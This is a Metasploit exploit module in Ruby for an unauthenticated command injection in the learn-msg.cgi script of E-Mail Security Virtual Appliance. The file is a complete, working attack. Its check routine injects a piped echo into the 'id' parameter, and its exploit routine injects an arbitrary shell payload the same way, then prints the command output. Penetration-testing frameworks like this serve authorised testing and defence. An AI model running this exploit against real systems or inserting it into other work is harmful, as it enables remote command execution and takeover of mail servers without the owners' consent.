##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection",
      'Description'    => %q{
          This module exploits a command injection vulnerability found in E-Mail Security
        Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary
        OS commands without authentication. This module has been successfully tested on the
        ESVA_2057 appliance.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'iJoo', # Vulnerability Discovery and PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '85462'],
          [ 'BID', '55050'],
          [ 'EDB', '20551' ]
        ],
      'Payload'        =>
        {
          'BadChars' => "",
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl python',
            }
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['ESVA_2057', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-08-16',
      'DefaultTarget'  => 0))
  end


  def check
    clue = Rex::Text::rand_text_alpha(rand(5) + 5)
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => "/cgi-bin/learn-msg.cgi",
      'vars_get' => {
        'id' => "|echo #{clue};"
      }
    })

    # If the server doesn't return the default redirection, probably something is wrong
    if res and res.code == 200 and res.body =~ /#{clue}/
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    peer = "#{rhost}:#{rport}"

    print_status("Sending Command injection")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => "/cgi-bin/learn-msg.cgi",
      'vars_get' => {
        'id' => "|#{payload.raw};"
      }
    })

    # If the server doesn't return the default redirection, probably something is wrong
    if not res or res.code != 200 or res.body !~ /meta http-equiv="refresh" content="0;URL=\/learned.html"/
      print_error("Probably command not executed, aborting!")
      return
    end

    print_good("Command executed successfully")
    print_status("Output: \n#{res.body.split("Learned tokens")[0]}")
  end
end
